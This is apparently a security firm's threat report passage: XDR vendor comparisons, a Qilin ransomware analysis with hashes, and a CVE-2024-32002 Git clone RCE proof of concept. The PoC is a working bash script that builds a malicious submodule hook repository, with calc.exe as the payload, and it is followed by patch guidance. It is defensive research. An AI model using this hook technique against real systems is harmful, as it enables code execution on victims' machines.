
EQST stands for "Experts, Qualified Security Team”, and is a group 
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highly qualified security experts with proven capabilities in the field  

of cyber threat analysis and research.
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Type Characteristics 

Open XDR 

✓ Open XDR is dependent on the minimized partner (vendor) 

✓ It can be linked with the previously implemented security products  

✓ It can be implemented and used without replacement of the existing 

security products (tools) 

Native or Closed XDR 

✓ It can be integrated with and linked to the security equipment of single 

vendor  

✓ There are limitations in the link to and analysis of other products  

 

Type Purpose Scope of Response Operational Approach 

EDR 

To conduct real-time endpoint 

monitoring and advanced threat 

detection  

Endpoint 

equipment and 

host 

• Real-time organizational endpoint monitoring  

• Endpoint data correlation analysis 

- Malicious act, indicator of attack (IoA), 

indicator of compromise (IoC), signature, 

machine learning 

NDR 

To analyze network traffic/user 

action and identify/investigate 

suspicious network activities 

Traffic between 

network and device 

• Real-time network attack response and 

blocking 

• Correlation analysis for user action-related 

abnormal network operations 

- Indicator of attack (IoA), anomaly 

detection, user action, machine learning 

MDR 

To continuously monitor and 

respond to threats through 

skilled security experts 

(24/7 monitoring, latest threat 

intelligence, security consulting, 

security compliance, etc.) 

Cyber security 

experts (in all 

environments) 

• Threat detection and response outsourcing 

• Data correlation analysis by security experts 

- Customer system integration through 

various interfaces* (API, logging, DataLake, 

etc.) 

XDR 

To support efficient threat 

detection/response in all 

environments of security team  

(using advanced analysis, 

machine learning, automation, 

etc.) 

Endpoint host, 

application, traffic 

between network 

and device 

• Automated response through various 

platforms  

• Integrated analysis of various sources 

- Machine learning, indicator of attack (IoA), 

anomaly detection, user action, malicious 

action, indicator of compromise 
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Type Company Features of Solution 

Open  

XDR 

Stellar Cyber 

• Open XDR leading company, solution comprising open XDR platform, NG-SIEM4, Threat 

Intel, NDR, IDS & Malware Analysis and SOAR 

• Collecting and analyzing comprehensive data in relation to various IT environments 

including cloud and heterogenous equipment  

• Enabling preemptive response and threat element analysis and monitoring in each 

cyber kill chain stage by establishing a security monitoring portal integrated with the 

previously implemented security solution, configuring honey pot sensor, and therefore 

identifying external attack factors 

Elastic 

• Took over Endgame in 2019 and launched Elastic Security for endpoint  

• Collection, detection, defense and direct response through Elastic Agent integrated with 

open platform  

• Detecting and blocking unknown malware and ransomware, defending against APT 

attacks through host-based analysis 

IBM 

• QRadar XDR comprising attack surface management (ASM), endpoint detection and 

response (EDR), security information and event management (SIEM), security 

orchestration, automation and response (SOAR), etc. 

• Designed to simplify threat detection, tracking, investigation and response in an 

integrated environment, automating detection, analysis and response using AI and pre-

implemented playbook  

• Capable of establishing open XDR ecosystem to link to systems and solutions of other 

companies through QRadar XDR Connect  

Native 

XDR 

CrowdStrike 

• Cloud-based single lightweight agent with usage of 1% CPU and 50MB or less  

• Providing high true positive rate through machine learning without requiring signature  

• Capable of securing visibility for threats through process tree 

• Providing 24*365 monitoring by overwatch team, and cyber threat information and 

response guidelines from threat hunting team experts 

SentinelOne 

• Launched endpoint solution using machine learning-based action AI as the first in 

industry  

• Supporting file header-based analysis using reference and static AI engines before file 

execution  

• Capable of analyzing correlations of all related actions from the start to the end of 

malicious code attack  

• Preventing, stopping and remedying new malware, changed malware and hacking 

attacks based on the patented AI machine learning model, autonomously blocking 

ransomware function  

• Recently launched Purple AI, a ChatGPT-based search engine, to provide automatic 

query generation function through AI at natural language input 
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TrendMicro 

• Providing comprehensive protection with improved extended detection and response 

(XDR) functions 

• Generative AI assistant companion, providing preemptive attack surface risk 

management (ASRM) based on the principle of zero trust  

• Capable of automatic response to high-risk warnings through playbook  

• Reducing silo through correlation analysis among security vectors, and detecting and 

responding to suspicious action, malware, ransomware, interference and other 

important attacks  

Palo Alto 

Networks 

• Focusing on improving security operation across endpoint, network and cloud  

• Providing Cortex XSOAR for automatic attack response, Cortex Xpanse for overall 

Internet attack surface management and protection, and Cortex XSIAM, an AI-based 

SOC operating platform   

• Providing MDR, the managed security service, through Unit42, a professional security 

service  

Cybereason 

• Capable of detecting and responding to unknown attacks using machine learning 

technologies based only on the action data through end point and host data collection, 

capable of remedy in all attack stages through single click  

• Comprising endpoint protection providing NGAV and EDR functions in MalOp engine, 

cloud, extended attack protection for network, threat hunting, security operation 

optimization providing MDR service, digital forensic and incident management 

providing incident response service 

Trellix 

• Focusing on security event correlation analysis and automation  

• Conducting comprehensive collection and analysis also for endpoint events 

• Offering visibility for the flow of an attack by accurately providing an event with 

correlation analyzed as single threat  

Genians 

• Expanded XDR business in 2021 through investment and business cooperation with 

ZDR and NDR specialist Xabyss 

• Solution comprising multi-layer detection engine for IOC detection (file), ML detection 

(file), XBA detection (action) and CTI (reference check) 

• Providing step-by-step detailed visibility covering from user action to data level  

Ahnlab 

• Focusing on effective risk management under the assumption that the degree of risk 

of threats can vary depending on the organizational situation 

• Providing advanced risk scenario rules to identify and index risk priorities, reflect 

scenarios that have occurred and continuously update new scenarios, internal impact 

monitoring based on threat intelligence and linked analysis of heterogenous logs  

• Supporting open platform, etc. that can be linked to third-party solution 
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https://www.skshieldus.com/kor/service/information/info-solution/si.do
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Keep up with Ransomware 
   

 

Qilin Ransomware Attack on the UK Medical Service

◼
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Factor Description 

fast [Number of Blocks] 
Encryption by as much as [number of blocks] 

* 32MB from the beginning of file 

skip-step [Encryption Size] [Interval] Encryption by as much as [encryption size] bytes in each [interval] 

percent [Number of Blocks] [Ratio] 
Encryption by as much as [number of blocks] 

* 32MB according to [ratio] of all files (%) 

 deletion just before the encryption process is completed so as to disable the 

securing of the ransomware itself. In addition, all event logs are deleted to make analysis difficult.  
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6316417fcd979c39a4da672ba3521f62081ff4dfebb868ef65a1f2dff9a738ea 

27f7a332ba10bae9dbc527ea25c787cb1850f0b34295cd49118f040f08f4fe56 

27a91c2e53e9e7bd6a1ccb8b0bed1f954f3011973248e710598a5e7d6c6ed668 

55e070a86b3ef2488d0e58f945f432aca494bfe65c9c4363d739649225efbbd1 

STL.exe 

forigpatch.exe 

file.exe 
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Research & Technique 
    

 

Vulnerability of Git Clone Remote Code Execution (CVE-

2024-32002)
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① Attacker configures a malicious remote repository  

② Attacker closes the remote repository with malicious script  

③ Malicious script is automatically executed by CVE-2024-32002 

④ After executing malicious script, attacker snatches victim’s information through intrusion

S/W Vulnerable Version 

Git 
Versions before 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.4, 

2.40.2 and 2.39.4 

Name Information 

Victim 

Microsoft Windows 10 version 22H2 

Git 2.45.0.windows.1 

(192.168.216.130) 

Attacker 
Kali Linux 

(192.168.216.129) 
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git --version 

$ git clone --recursive {attacker’s repository address} 
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git config --global core.symlinks true 
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#!/bin/bash 

git config --global core.symlinks true 

 

# initialize submodule repository 

git init hook 

cd hook 

mkdir -p y/hooks 

 

# insert malicious script (run calc.exe) 

cat > y/hooks/post-checkout <<EOF 

#!/bin/bash 

calc.exe 

EOF 

 

# authorize script run 

chmod +x y/hooks/post-checkout 

 

# add submodule repository 

git add y/hooks/post-checkout 

# commit submodule repository 

git commit -m "post-checkout" 

 

cd .. 

 

# initialize main repository 

git init eqst 

cd eqst 

# add submodule in main repository 

git submodule add --name x/y "/c/dev/hook" A/modules/x 

# commit submodule repository 

git commit -m "add-submodule" 

 

# generate symlink 

printf ".git" > dotgit.txt 

git hash-object -w --stdin < dotgit.txt > dot-git.hash 

printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info 

git update-index --index-info < index.info 

git commit -m "add-symlink" 

cd .. 
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GIT_TRACE=1 git clone --recursive eqst eqsttest 
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git clone --recursive https://github.com/EQSTSeminar/git_rce.git 

 

https://github.com/EQSTSeminar/git_rce
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Product Patch Version 

Git Versions after 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2 and 2.39.4 

git config --global core.symlinks false 

 

https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv
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